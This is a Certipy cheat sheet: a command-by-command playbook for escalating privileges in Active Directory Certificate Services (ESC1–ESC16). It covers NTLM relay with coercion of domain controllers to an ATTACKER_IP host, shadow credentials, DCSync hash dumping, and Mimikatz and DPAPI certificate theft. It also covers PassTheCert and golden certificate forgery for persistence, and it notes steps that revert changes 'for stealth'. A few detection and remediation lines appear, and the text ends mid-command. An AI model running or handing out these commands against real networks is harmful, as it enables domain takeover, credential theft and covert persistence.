The Certipy cheat sheet covers ADCS vulnerability enumeration and exploitation for ESC1-ESC16, account persistence (PERSIST1-3), domain persistence (DPERSIST1-3), certificate theft (THEFT1-5), shadow credentials, NTLM relay, PassTheCert, golden certificate forgery, and attack chains.
# Install via pip (recommended)
pip install certipy-ad
# Or from source (latest features)
git clone https://github.com/ly4k/Certipy
cd Certipy && pip install .
# Verify install
certipy --version
# Related tools
pip install impacket
git clone https://github.com/AlmondOffSec/PassTheCert
git clone https://github.com/dirkjanm/PKINITtools
git clone https://github.com/ShutdownRepo/pywhisker
| Command | Purpose |
|---|---|
find |
|
req |
|
auth |
|
relay |
|
forge |
|
shadow |
|
account |
Create/modify machine accounts for relay |
template |
Read/modify certificate template attributes |
ca |
CA management - backup, add officer, issue pending |
cert |
Certificate format conversion utilities |
# Step 1: Full enumeration - outputs .txt, .json, and BloodHound zip
certipy find -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -vulnerable -enabled
# Step 2: Identify which ESC applies (see decision tree below)
# Step 3: Request certificate with appropriate ESC exploit
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA' \
-template 'VulnerableTemplate' -upn '[email protected]'
# Step 4: Authenticate - get NT hash + TGT
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# Step 5: Lateral movement with NT hash
impacket-secretsdump -hashes ':NThash' 'domain.local/[email protected]'
nxc smb 192.168.1.10 -u administrator -H 'NThash' --ntds
# Bonus: also check for ESC16 (CA-wide disabled SID extension - Certipy >= 4.8.2)
certipy find -u '[email protected]' -p 'Password1' -dc-ip 192.168.1.10 -enabled
# In CA properties look for: Disabled Extensions: 1.3.6.1.4.1.311.25.2
# Persistence after escalation: enroll a long-lived cert under any compromised user
# (PERSIST1) - survives password resets, valid 1 year by default
certipy req -u '[email protected]' -hashes ':NThash' -ca 'CORP-CA' -template 'User'
# Domain persistence: backup the CA private key for offline forging (DPERSIST1)
certipy ca -backup -u '[email protected]' -hashes ':NThash' -ca 'CORP-CA'
| ESC | Condition | Action |
|---|---|---|
| Enrollee supplies subject + enrollment | req -upn admin@domain |
|
| Any Purpose / no EKU + enrollment | Auth cert or enrollment agent | |
| Cert Request Agent EKU | req -on-behalf-of |
|
| Write on template object | Modify to ESC1 conditions | |
| Write on CA/PKI AD objects | PKI object takeover | |
| SAN flag enabled on CA | req -upn on any template |
|
| ManageCertificates on CA | Approve pending requests | |
| ManageCA on CA | Add officer + enable SAN | |
| HTTP enrollment + relay | relay -ca http://CA/... |
|
| No security ext + GenericWrite | UPN spoof (no SID binding) | |
| Weak cert binding + GenericWrite | UPN spoof (any template) | |
| RPC without encryption | relay -target rpc://CA |
|
| CA admin shell access | ca -backup or DPAPI |
|
| OID group link in template | Enroll for group membership | |
Write on altSecurityIdentities |
Add explicit X509 mapping to target | |
| v1 template + ENROLLEE_SUPPLIES_SUBJECT (CVE-2024-49019) | req --application-policies |
|
| CA disables szOID_NTDS_CA_SECURITY_EXT globally | UPN spoof on any template (no SID ext) | |
| Long-lived user/machine cert + renewal | req -template User, request-renew |
|
| CA key theft / NTAuth rogue / template backdoor | ca -backup, forge, template weaken |
| ESC | Condition | Certipy Command Hint | Impact |
|---|---|---|---|
| Template: ENROLLEE_SUPPLIES_SUBJECT + enrollment rights | req -upn admin@domain |
||
| Any Purpose EKU or no EKU + enrollment rights | req -template AnyPurpose then use as agent |
||
| Certificate Request Agent EKU + enrollment rights | req then req -on-behalf-of -pfx agent.pfx |
||
| WriteProperty/WriteDACL/Owner on template object | template (modify), then req -upn |
||
| Write on CA object / PKI AD objects | LDAP modification of CA/PKI container | ||
| CA flag: EDITF_ATTRIBUTESUBJECTALTNAME2 | req -upn admin@domain -template User |
||
| ManageCA or ManageCertificates ACE on CA | ca -add-officer / ca -issue-request |
||
| Web Enrollment (HTTP) + NTLM relay possible | relay -ca http://CA/certsrv/... |
| ESC | Condition | Certipy Command Hint | Impact |
|---|---|---|---|
| CT_FLAG_NO_SECURITY_EXTENSION on template + GenericWrite on account | shadow auto, account update -upn, req, revert UPN |
||
| StrongCertificateBindingEnforcement=0 (or CertificateMappingMethods=4) + GenericWrite | shadow auto, account update -upn, req -template User, revert |
||
| RPC ICPR: IF_ENFORCEENCRYPTICERTREQUEST not set | relay -target rpc://CA-IP -ca CA-NAME |
||
| Shell access to CA server (local admin / DVPRIV) | ca -backup or DPAPI extraction of CA key |
||
| Template issuance policy has OID group link (msDS-OIDToGroupLink) + enrollment rights | req -template ESC13Template then auth |
||
| Explicit UPN mapping (altSecurityIdentities) writeable | Modify altSecurityIdentities, req cert, auth | ||
| Schema v1 template + ENROLLEE_SUPPLIES_SUBJECT (CVE-2024-49019) | req --application-policies 'Client Authentication' |
||
| CA-wide DisableExtensionList contains 1.3.6.1.4.1.311.25.2 | account update -upn admin, req -template User, revert |
| ID | Condition | Tool | Impact |
|---|---|---|---|
| User has enroll on a client-auth template | certipy req -template User |
||
| SYSTEM/admin on machine + Machine template enroll | certipy req -template Machine |
||
| Existing valid cert in renewal window | Certify.exe request-renew |
||
| Admin on Enterprise CA / CA private key access | ca -backup, certipy forge |
||
Write on CN=NTAuthCertificates,... (EA / ESC5) |
certutil -dspublish -f rogue.crt NTAuthCA |
||
| Write on a certificate template (ESC4) | certipy template (apply ESC1 preset) |
# Conditions: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set, enrollment rights granted
# Certipy output shows: "[!] Vulnerabilities: ESC1"
# Request cert with arbitrary UPN (impersonate admin)
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-ca 'domain-CA-NAME' \
-template 'VulnerableTemplate' \
-upn '[email protected]'
# Output: administrator.pfx
# With hash instead of password
certipy req -u '[email protected]' -hashes ':NThash' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'VulnerableTemplate' -upn '[email protected]'
# Specify DNS SAN for machine account impersonation
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'VulnerableTemplate' \
-dns 'dc.domain.local'
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# Returns: NT hash + administrator.ccache
| Indicator | Event / Source |
|---|---|
| Event 4887: RequesterName != SubjectName | |
| Event 4886: Certificate Request with SAN field | |
| Event 4887: unexpected template for user account type | |
| Event 4768: TGT request with cert, unusual source |
# ESC2: template has Any Purpose or no EKU
# Step 1: Request the any-purpose cert
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'AnyPurposeTemplate'
# user.pfx can now be used as enrollment agent cert
# Step 2: Use it to request on behalf of admin
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'User' \
-on-behalf-of 'domain\administrator' \
-pfx user.pfx
# ESC3: requires two vulnerable templates
# Template A: Certificate Request Agent EKU
# Template B: allows enrollment agent to enroll on behalf
# Step 1: Get enrollment agent certificate
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'ESC3-AgentTemplate'
# Output: user.pfx (enrollment agent cert)
# Step 2: Request cert on behalf of admin
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'User' \
-on-behalf-of 'domain\administrator' \
-pfx user.pfx
# Output: administrator.pfx
# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# ESC4: attacker has WriteProperty/WriteDACL/Owner on template AD object
# Certipy shows: "Permissions: [Write]"
# Step 1: Save current template config (backup for cleanup)
certipy template -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-template 'VulnerableTemplate' \
-save-old
# Output: VulnerableTemplate.json
# Step 2: Modify template to enable ENROLLEE_SUPPLIES_SUBJECT (makes it ESC1)
certipy template -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-template 'VulnerableTemplate'
# Step 3: Request cert as administrator (ESC1 flow)
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA' \
-template 'VulnerableTemplate' \
-upn '[email protected]'
# Step 4: Restore template to original state (stealth)
certipy template -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-template 'VulnerableTemplate' \
-configuration VulnerableTemplate.json
# ESC6: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 set
# Certipy shows: "User Specified SAN: Enabled"
# Works on ANY template (even User), not just misconfigured ones
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-ca 'domain-CA-NAME' \
-template 'User' \
-upn '[email protected]'
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
| Variant | Trigger | Target | Notes |
|---|---|---|---|
CA-wide EDITF_ATTRIBUTESUBJECTALTNAME2 set on the CA registry |
User templates (UPN/mail SAN) | Any cert request can include arbitrary SAN regardless of template flags. Patched by KB5014754 unless combined with ESC9/ESC16. | |
Same flag, but DC also has StrongCertificateBindingEnforcement = 0/1 |
Computer templates (dNSHostName SAN) |
Allows machine impersonation including DCs. BH edge: ADCSESC6b. |
# ESC6b: target a Machine template with arbitrary dNSHostName SAN
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'Machine' -dns 'dc01.domain.local' \
-sid 'S-1-5-21-...-1001' # DC$ SID for KB5014754
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10
# Check CA flag (on CA server)
certutil -getreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags
# Disable the flag (remediation)
certutil -setreg CA\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
net stop certsvc && net start certsvc
# ESC7a: Have ManageCertificates right on CA
# Step 1: Request a cert that requires manager approval (goes Pending)
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-template 'SubCA'
# Output: Request ID (e.g., 12)
# Step 2: Issue the pending request using ManageCertificates
certipy ca -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-issue-request 12
# Step 3: Retrieve the issued certificate
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-retrieve 12
# Step 4: Authenticate
certipy auth -pfx user.pfx -dc-ip 192.168.1.10
# ESC7b: Have ManageCA right - add yourself as CA officer then abuse ManageCertificates
# Step 1: Add current user as CA officer
certipy ca -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-add-officer 'user'
# Step 2: Enable EDITF_ATTRIBUTESUBJECTALTNAME2 on the CA (now you have ESC6)
certipy ca -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -ca 'domain-CA-NAME' \
-enable-flag EDITF_ATTRIBUTESUBJECTALTNAME2
# Alternative: use ManageCA to enable SubCA template issuance
# Then follow ESC7a workflow above
# ESC8: Web Enrollment (HTTP certsrv) active + NTLM relay possible
# Goal: relay DC machine account auth to get DC certificate
# Step 1: Start Certipy relay listener
certipy relay \
-ca 'http://CA-SERVER/certsrv/certfnsh.asp' \
-template 'DomainController'
# Listens on 0.0.0.0:445
# Step 2 (separate terminal): Coerce DC to authenticate to attacker
# Option A - PetitPotam (MS-EFSR)
python3 PetitPotam.py -u 'user' -p 'Password1' ATTACKER_IP DC_IP
# Option B - Coercer (multiple protocols)
coercer coerce -l ATTACKER_IP -t DC_IP -d domain.local -u user -p Password1
# Option C - PrinterBug (MS-RPRN, no auth needed in some configs)
python3 SpoolSample.py DC_IP ATTACKER_IP
# Step 3: Certipy catches relay, issues certificate
# Output: dc.pfx
# Step 4: Auth as DC machine account -> DCSync
certipy auth -pfx dc.pfx -dc-ip 192.168.1.10
# Get DC NT hash, then:
impacket-secretsdump -hashes ':NThash' 'domain.local/[email protected]'
| Variant | Target | Tool Flag | Detection |
|---|---|---|---|
http://CA/certsrv/certfnsh.asp |
relay -ca http://... |
Event 4624 logon type 3 on CA | |
https://CA/certsrv/certfnsh.asp |
relay -ca https://... |
TLS NTLM relay (less common) | |
| ICPR MS-ICPR RPC interface | relay -target rpc://CA-IP |
Event 4624 on CA from DC |
Conditions:
1. Template has CT_FLAG_NO_SECURITY_EXTENSION (msPKI-Enrollment-Flag includes 0x80000)
2. Attacker has GenericWrite (or equivalent) over another domain account (proxy account)
3. StrongCertificateBindingEnforcement != 2 (0 or 1)
4. Attacker can enroll in the template
Attack chain: inject shadow creds into proxy account -> spoof UPN -> request cert -> revert UPN -> auth
# ESC9: The no_security_extension flag means the issued cert has no SID binding extension
# Without SID in cert, Windows maps the cert to account by UPN only -> spoof possible
# Step 1: Get NT hash of proxy account (the one you have GenericWrite on)
# Inject shadow credential into proxy account (requires write on msDS-KeyCredentialLink)
certipy shadow auto \
-u '[email protected]' -p 'Password1' \
-account 'proxyuser' \
-dc-ip 192.168.1.10
# Output: proxyuser.pfx + NT hash of proxyuser
# Step 2: Change proxy account's UPN to match target (administrator)
certipy account update \
-u '[email protected]' -p 'Password1' \
-user 'proxyuser' \
-upn 'administrator' \
-dc-ip 192.168.1.10
# Step 3: Request cert as proxyuser from ESC9 template
# Use NT hash from shadow auto step
certipy req \
-u '[email protected]' -hashes ':NTHashOfProxyUser' \
-ca 'domain-CA-NAME' \
-template 'ESC9Template' \
-dc-ip 192.168.1.10
# Output: administrator.pfx (UPN = administrator, no SID binding)
# Step 4: Revert proxy account UPN to original (stealth)
certipy account update \
-u '[email protected]' -p 'Password1' \
-user 'proxyuser' \
-upn '[email protected]' \
-dc-ip 192.168.1.10
# Step 5: Authenticate as administrator
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10
ESC9 splits into two BloodHound edges depending on whether the spoofed identity is a user (UPN) or a computer (dNSHostName).
| Variant | Spoof attribute | Victim | Target | BH edge |
|---|---|---|---|---|
userPrincipalName |
User account with GenericWrite |
Any user (e.g. Administrator) | ADCSESC9a |
|
dNSHostName (and clear SPNs) |
Computer account you control / created via MAQ | Any computer (e.g. DC01$) -> DCSync | ADCSESC9b |
# ESC9b - computer variant (impersonate DC$ via dNSHostName binding)
# 1. Create or take over a machine account (MachineAccountQuota)
certipy account create -u '[email protected]' -p 'Password1' \
-user 'PWNED$' -pass 'MachinePass1' -dc-ip 192.168.1.10
# 2. Clear SPNs to avoid duplicate SPN error after dNSHostName change
certipy account update -u '[email protected]' -p 'Password1' \
-user 'PWNED$' -spns '' -dc-ip 192.168.1.10
# 3. Set dNSHostName to victim DC FQDN
certipy account update -u '[email protected]' -p 'Password1' \
-user 'PWNED$' -dns 'dc01.domain.local' -dc-ip 192.168.1.10
# 4. Enroll on a Machine template with NO_SECURITY_EXTENSION
certipy req -u '[email protected]' -p 'MachinePass1' \
-ca 'CORP-CA' -target ca.domain.local \
-template 'ESC9-MachineTemplate' -dc-ip 192.168.1.10
# 5. Restore dNSHostName (cleanup)
certipy account update -u '[email protected]' -p 'Password1' \
-user 'PWNED$' -dns 'pwned.domain.local' -dc-ip 192.168.1.10
# 6. Authenticate as DC01$ -> DCSync
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10
| Indicator | Details |
|---|---|
| Event 4738: user account changed, UPN field modified | |
| Event 4662: object modification on msDS-KeyCredentialLink | |
| Missing szOID_NTDS_CA_SECURITY_EXT in issued cert | |
| Event 4768: PKINIT TGT for admin from unexpected account |
| Variant | Weak setting | Auth path | BH edge |
|---|---|---|---|
StrongCertificateBindingEnforcement = 0 (Kdc) |
Kerberos PKINIT, UPN spoof on user | ADCSESC10a |
|
CertificateMappingMethods includes 0x4 (Schannel) |
LDAPS / Schannel, dNSHostName spoof on computer | ADCSESC10b |
ESC10b is exploited via Schannel auth instead of PKINIT. Use certipy auth -pfx machine.pfx -ldap-shell or PassTheCert. Common target: DC computer accounts (yields LDAP-as-DC$ -> RBCD / membership writes).
# ESC10 Case 1: Registry key StrongCertificateBindingEnforcement = 0 on DC
# Key: HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
# Value 0 = disabled (no SID check), 1 = audit, 2 = enforced
# Attack is identical to ESC9 but works with ANY template (not just no_security_extension ones)
# Step 1: Shadow auto on proxy account
certipy shadow auto \
-u '[email protected]' -p 'Password1' \
-account 'proxyuser' \
-dc-ip 192.168.1.10
# Step 2: Spoof proxy UPN to administrator
certipy account update \
-u '[email protected]' -p 'Password1' \
-user 'proxyuser' \
-upn 'administrator' \
-dc-ip 192.168.1.10
# Step 3: Request from standard User template (no special template needed)
certipy req \
-u '[email protected]' -hashes ':NTHashOfProxyUser' \
-ca 'domain-CA-NAME' -template 'User' \
-dc-ip 192.168.1.10
# Step 4: Revert UPN
certipy account update \
-u '[email protected]' -p 'Password1' \
-user 'proxyuser' -upn '[email protected]' \
-dc-ip 192.168.1.10
# Step 5: Authenticate
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10
# ESC10 Case 2: CertificateMappingMethods includes UPN flag (bit 2 = 0x4)
# Key: HKLM\SYSTEM\CurrentControlSet\Services\Kdc\CertificateMappingMethods
# Value includes 0x4 -> UPN mapping enabled -> same UPN spoofing attack applies
# Check on DC: reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc /v CertificateMappingMethods
# Same attack chain as Case 1, but may work even when StrongCertificateBindingEnforcement = 1
# Target: machine accounts (Schannel/LDAPS mapping) instead of PKINIT in some configs
# Step 1-3 identical to Case 1
# For machine account impersonation (GenericWrite on computer object):
certipy account update \
-u '[email protected]' -p 'Password1' \
-user 'TARGETPC$' \
-upn 'administrator' \
-dc-ip 192.168.1.10
certipy req \
-u '[email protected]' -hashes ':NTHashOfMachineAccount' \
-ca 'domain-CA-NAME' -template 'Machine' \
-dc-ip 192.168.1.10
certipy account update \
-u '[email protected]' -p 'Password1' \
-user 'TARGETPC$' \
-upn '[email protected]' \
-dc-ip 192.168.1.10
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip 192.168.1.10
# ESC10b Schannel auth (LDAPS shell as the spoofed identity)
certipy auth -pfx dc01.pfx -dc-ip 192.168.1.10 -ldap-shell
# From the shell:
# set_rbcd dc01 attacker$ # configure RBCD on DC
# add_user_to_group user "Domain Admins"
# change_password user 'NewPass1!'
# Alternative Schannel client (PassTheCert)
python3 passthecert.py \
-action ldap-shell \
-crt user.crt -key user.key \
-domain domain.local -dc-ip 192.168.1.10
# ESC11: CA RPC interface (MS-ICPR / ICertPassage) does not enforce encryption
# Check: IF_ENFORCEENCRYPTICERTREQUEST flag NOT set on CA
# Certipy shows: "Enforce Encryption for Requests: Disabled"
# Unlike ESC8 (HTTP), this targets the RPC/DCOM enrollment interface directly
# Verify flag (on CA server as admin):
certutil -getreg CA\InterfaceFlags
# If IF_ENFORCEENCRYPTICERTREQUEST (0x200) is absent -> vulnerable
# Step 1: Start Certipy RPC relay listener
certipy relay \
-target 'rpc://CA-SERVER-IP' \
-ca 'domain-CA-NAME' \
-template 'DomainController'
# Listens on 0.0.0.0:445
# Step 2: Coerce DC NTLM authentication to attacker relay
coercer coerce \
-l ATTACKER_IP -t DC_IP \
-d domain.local -u user -p Password1
# Alternative coercion:
python3 PetitPotam.py -u user -p Password1 ATTACKER_IP DC_IP
# Step 3: Relay catches DC$ auth, CA issues certificate via RPC
# Output: dc.pfx
# Step 4: Authenticate as DC
certipy auth -pfx dc.pfx -dc-ip 192.168.1.10
# Step 5: DCSync
impacket-secretsdump \
-hashes ':DCNTHash' \
'domain.local/[email protected]'
# Remediate: enforce RPC encryption
certutil -setreg CA\InterfaceFlags +IF_ENFORCEENCRYPTICERTREQUEST
net stop certsvc && net start certsvc
Conditions:
1. Certificate template has an issuance policy OID extension (msPKI-Certificate-Policy)
2. The issuance policy object (msPKI-Enterprise-Oid) has msDS-OIDToGroupLink set
3. Linked group must be Universal scope
4. Current user has enrollment rights on the template
5. No manager approval required
Effect: Authenticating with the issued certificate grants membership of the linked group
in the Kerberos PAC even if the account is not a member - persistent and stealthy.
# Step 1: Enumerate - look for OID group link in certipy output
certipy find -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 -vulnerable -enabled
# Look for: "ESC13" and "Issuance Policies" sections
# Also look for msDS-OIDToGroupLink attributes on policy objects
# Step 2: Identify which group the OID links to
# In LDAP: check CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=...
# Attribute: msDS-OIDToGroupLink -> points to group DN
# Verify group is Universal and note its privileges
# Step 3: Enroll in the template (standard request)
certipy req -u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10 \
-ca 'domain-CA-NAME' \
-template 'ESC13Template'
# Output: user.pfx
# Step 4: Authenticate - TGT PAC will include linked group SID
certipy auth -pfx user.pfx -dc-ip 192.168.1.10
# The TGT now contains the linked group RID in the PAC
# If linked group = Domain Admins -> full DA access
# Step 5: Use ccache
export KRB5CCNAME=user.ccache
impacket-secretsdump -k -no-pass domain.local/[email protected]
# Enumerate OID objects with group links via LDAP
ldapsearch -H ldap://DC_IP \
-D '[email protected]' -w 'Password1' \
-b 'CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=local' \
'(msDS-OIDToGroupLink=*)' dn msDS-OIDToGroupLink displayName
# Check group type (must be Universal = 0x8 in groupType)
ldapsearch -H ldap://DC_IP \
-D '[email protected]' -w 'Password1' \
-b 'DC=domain,DC=local' \
'(distinguishedName=CN=PrivGroup,CN=Users,DC=domain,DC=local)' \
groupType member
| Technique | Method | Requires | Tool |
|---|---|---|---|
| Export cert+key via Crypto API (Windows) | Local admin or cert owner | certutil, Mimikatz crypto::capi |
|
| DPAPI decryption - user certificate store | Access to user DPAPI masterkeys | SharpDPAPI, Mimikatz dpapi:: |
|
| DPAPI decryption - machine certificate store | SYSTEM / local admin | SharpDPAPI /machine, Mimikatz |
|
| File/directory triage for .pfx/.p12/.key files | File read access | Manual, seatbelt, Snaffler |
|
| PKINIT to retrieve NTLM hash (U2U Kerberos) | Valid certificate for the account | certipy auth, getnthash.py |
# On Windows: export cert if marked exportable
# Run in PowerShell on target
certutil -exportPFX -p "Password1" My <CertThumbprint> output.pfx
# If private key is non-exportable, patch CAPI in memory first (Mimikatz)
mimikatz # crypto::capi # patches CryptoAPI in current process
mimikatz # crypto::certificates /export # export all certs from personal store
# For CNG keys (newer), patch lsass instead
mimikatz # privilege::debug
mimikatz # crypto::cng # patches CNG in lsass.exe
mimikatz # crypto::certificates /export /systemstore:LOCAL_MACHINE
# DPAPI protects private keys in user cert store
# Path: C:\Users\<user>\AppData\Roaming\Microsoft\Crypto\RSA\<SID>\
# Masterkeys: C:\Users\<user>\AppData\Roaming\Microsoft\Protect\<SID>\
# Option A: SharpDPAPI (from attacker with user DPAPI access)
SharpDPAPI.exe certificates
# Option B: Mimikatz with current user context
mimikatz # dpapi::capi /in:"C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\..."
# Option C: Impacket (offline with domain backup key)
impacket-dpapi masterkey \
-file '/path/to/masterkey' \
-pvk domain_backupkey.pvk
impacket-dpapi credential \
-file '/path/to/cert_blob' \
-masterkey <decrypted_key>
# Machine cert store private keys protected by machine DPAPI
# Requires SYSTEM / local admin
# SharpDPAPI with /machine flag (auto-escalates to SYSTEM, dumps DPAPI_SYSTEM)
SharpDPAPI.exe certificates /machine
# Mimikatz: dump machine DPAPI secret then decrypt
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # lsadump::secrets # get DPAPI_SYSTEM key
mimikatz # dpapi::capi /in:"C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\..." \
/masterkey:<hex_key>
# Certipy can export from LDAP Shadow Credentials (if you wrote the key credential)
# This avoids touching disk crypto entirely
# Search for certificate files on file shares / endpoints
# Snaffler (from attacker in domain)
Snaffler.exe -s -o snaffler.log
# Manual PowerShell sweep
Get-ChildItem -Recurse -Include *.pfx,*.p12,*.pem,*.key,*.crt C:\ 2>$null
# Remote file triage via SMB
nxc smb TARGETS -u user -p pass -M spider_plus --share "C$"
# Common locations
# C:\inetpub\* - web server certs
# C:\Users\*\Desktop, Downloads
# C:\ProgramData\*
# SYSVOL / NETLOGON shares
# Git repos, configuration files
# THEFT5: if you have a valid cert for a user, derive their NT hash
# Uses Kerberos User-to-User (U2U) PKINIT to recover NT hash without password
# Certipy method (simplest)
certipy auth -pfx user.pfx -dc-ip 192.168.1.10 -domain domain.local
# Certipy automatically requests TGT via PKINIT and then retrieves NT hash
# PKINITtools method (manual)
# Step 1: Get TGT using PKINIT
python3 gettgtpkinit.py \
-cert-pfx user.pfx \
domain.local/user user.ccache
# Step 2: Use TGT to get NT hash via U2U
export KRB5CCNAME=user.ccache
python3 getnthash.py \
-key <AS-REP encryption key from step 1> \
domain.local/user
# Standard PKINIT - returns NT hash + TGT ccache
certipy auth -pfx administrator.pfx -dc-ip 192.168.1.10
# Specify domain explicitly (required for non-domain-joined machines
# and when cert lacks domain info)
certipy auth -pfx administrator.pfx \
-domain domain.local \
-dc-ip 192.168.1.10
# Specify username if cert subject is ambiguous
certipy auth -pfx user.pfx \
-username administrator \
-domain domain.local \
-dc-ip 192.168.1.10
# Schannel / LDAP shell (when PKINIT not supported by DC)
certipy auth -pfx administrator.pfx \
-dc-ip 192.168.1.10 \
-ldap-shell
# Use resulting TGT
export KRB5CCNAME=administrator.ccache
impacket-secretsdump -k -no-pass domain.local/[email protected]
nxc smb DC_IP -u administrator -H 'NThash'
| Error | Cause | Fix |
|---|---|---|
| DC has no PKINIT cert (no Domain Controller Authentication EKU installed) | Use -ldap-shell (Schannel) or passthecert.py instead |
|
| Clock skew > 5 minutes between attacker and DC | sudo ntpdate DC_IP or sudo timedatectl set-ntp true |
|
| Cert not trusted by DC CA chain / wrong cert | Verify CA cert chain; use -domain flag; check cert validity dates |
|
| Cert EKU doesn't include Smart Card Logon / Client Auth | Request from template with correct EKU or use Schannel | |
| Cert revoked or CA not reachable for OCSP/CRL | Check CRL distribution points; try -no-save and inspect cert |
|
| No domain DNS / Kerberos config | Add -domain flag; configure /etc/krb5.conf with DC realm |
# /etc/krb5.conf for non-domain-joined Kerberos auth
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
[realms]
DOMAIN.LOCAL = {
kdc = dc.domain.local
admin_server = dc.domain.local
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
EOF
# Sync clock to DC (critical for Kerberos)
sudo ntpdate dc.domain.local
# Authenticate with explicit domain
certipy auth -pfx administrator.pfx \
-domain domain.local \
-dc-ip 192.168.1.10
PassTheCert authenticates to LDAP/LDAPS using a certificate via Schannel (TLS).
- Bypasses LDAP signing requirements (bind is after StartTLS)
- Bypasses LDAP channel binding (Schannel is exempt by design)
- Works when PKINIT is unavailable (DC has no smart card cert)
- Requires: certificate + private key for the target account
# Step 1: Extract cert and key from PFX
certipy cert -pfx administrator.pfx -nokey -out administrator.crt
certipy cert -pfx administrator.pfx -nocert -out administrator.key
# Or via openssl
openssl pkcs12 -in administrator.pfx -clcerts -nokeys -out administrator.crt -nodes
openssl pkcs12 -in administrator.pfx -nocerts -out administrator.key -nodes
# Step 2a: Certipy LDAP shell (built-in Schannel)
certipy auth -pfx administrator.pfx \
-dc-ip 192.168.1.10 \
-ldap-shell
# Provides interactive LDAP shell: set_rbcd, add_user_to_group, etc.
# Step 2b: passthecert.py - elevate a user to DA
python3 passthecert.py \
-action modify_user \
-crt administrator.crt \
-key administrator.key \
-domain domain.local \
-dc-ip 192.168.1.10 \
-target targetuser \
-elevate
# Step 2c: passthecert.py - full LDAP shell
python3 passthecert.py \
-action ldap-shell \
-crt administrator.crt \
-key administrator.key \
-domain domain.local \
-dc-ip 192.168.1.10
# Step 2d: passthecert.py - add user to Domain Admins
python3 passthecert.py \
-action modify_group \
-crt administrator.crt \
-key administrator.key \
-domain domain.local \
-dc-ip 192.168.1.10 \
-target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' \
-add-member 'CN=myuser,CN=Users,DC=domain,DC=local'
# Step 2e: RBCD via passthecert (for machine accounts)
python3 passthecert.py \
-action write_rbcd \
-crt dc.crt \
-key dc.key \
-domain domain.local \
-dc-ip 192.168.1.10 \
-delegate-to 'DC$' \
-delegate-from 'ATTACKER_MACHINE$'
# Golden Certificate: forge any user cert offline using CA private key
# Persistent access even after password changes
# Requires: CA private key (from backup, ESC7, or CA server compromise)
# Method A: Certipy CA backup (requires ManageCA or local admin on CA)
certipy ca \
-backup \
-ca 'domain-CA-NAME' \
-u '[email protected]' -p 'Password1' \
-dc-ip 192.168.1.10
# Output: domain-CA-NAME.pfx (CA cert + private key)
# Method B: Extract from CA server via Mimikatz (local admin on CA)
# On CA server:
mimikatz # crypto::capi
mimikatz # crypto::certificates /export /systemstore:LOCAL_MACHINE
# Method C: From NTDS backup (if CA stores key in AD)
# certipy will also find NTDS-based CA keys during find phase
# Forge certificate for any user (offline, no CA interaction)
certipy forge \
-ca-pfx 'domain-CA-NAME.pfx' \
-upn '[email protected]' \
-subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx
# Forge cert for krbtgt (persistence - Golden Cert)
certipy forge \
-ca-pfx 'domain-CA-NAME.pfx' \
-upn '[email protected]' \
-subject 'CN=krbtgt,CN=Users,DC=domain,DC=local' \
-crl 'ldap:///CN=CA,CN=host,CN=CDP,...'
# Authenticate with forged cert
certipy auth -pfx administrator_forged.pfx \
